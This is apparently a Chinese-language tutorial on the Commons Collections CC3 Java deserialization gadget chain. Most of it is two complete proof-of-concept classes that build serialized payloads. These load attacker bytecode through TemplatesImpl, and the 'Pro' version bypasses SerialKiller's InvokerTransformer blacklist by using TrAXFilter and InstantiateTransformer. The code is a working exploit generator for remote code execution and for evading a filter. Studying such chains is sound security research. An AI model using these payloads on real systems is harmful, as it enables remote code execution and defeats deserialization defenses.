CC3 Simple
CC3可以执行任意的字节码,并且绕过SerialKiller的一些规则,先看如何实现执行任意字节码:
思路很简单,之前的链子是利用transformers数组执行Runtime.exec(“calc.exe”); 现在换一个思路用transformers执行TemplatesImpl#newTransformer即可,
public class cc3_simple {public static byte[] payload() throws Exception {ClassPool pool = ClassPool.getDefault();CtClass ct = pool.get(bad.evilClz.class.getName());byte[] shellcode = ct.toBytecode();TemplatesImpl tmpl = new TemplatesImpl();Reflections.setFieldValue(tmpl,"_bytecodes",new byte[][] {shellcode});Reflections.setFieldValue(tmpl,"_name","testName");Reflections.setFieldValue(tmpl,"_tfactory",new TransformerFactoryImpl());Transformer[] transformers = new Transformer[]{new ConstantTransformer(tmpl),new InvokerTransformer("newTransformer",null,null),};Transformer transformerChain = new ChainedTransformer(new Transformer[]{});Map map = new HashMap();Map transformedMap = TransformedMap.decorate(map,transformerChain,transformerChain);map.put("value",0);Class clz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);Object obj = constructor.newInstance(Retention.class,transformedMap);Reflections.setFieldValue(transformerChain,"iTransformers",transformers);return Serializer.Serialize(obj);}}
CC3 Pro
绕过SerialKiller中的对InvokerTransformer的黑名单限制,
利用了 com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 这个类, 这个类在初始化的时候会自动调用newTransformer方法:
用到了一个新的Transformer: InstantiateTransformer
transformers链构造如下:
Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[] { Templates.class },new Object[] { tmpl }),};
完整POC:
public class cc3_pro {public static byte[] payload() throws Exception {ClassPool pool = ClassPool.getDefault();CtClass ct = pool.get(bad.evilClz.class.getName());byte[] shellcode = ct.toBytecode();TemplatesImpl tmpl = new TemplatesImpl();Reflections.setFieldValue(tmpl,"_bytecodes",new byte[][] {shellcode});Reflections.setFieldValue(tmpl,"_name","testName");Reflections.setFieldValue(tmpl,"_tfactory",new TransformerFactoryImpl());Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[] { Templates.class },new Object[] { tmpl }),};Transformer transformerChain = new ChainedTransformer(new Transformer[]{});Map map = new HashMap();Map transformedMap = TransformedMap.decorate(map,transformerChain,transformerChain);map.put("value",0);Class clz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);Object obj = constructor.newInstance(Retention.class,transformedMap);Reflections.setFieldValue(transformerChain,"iTransformers",transformers);return Serializer.Serialize(obj);}}
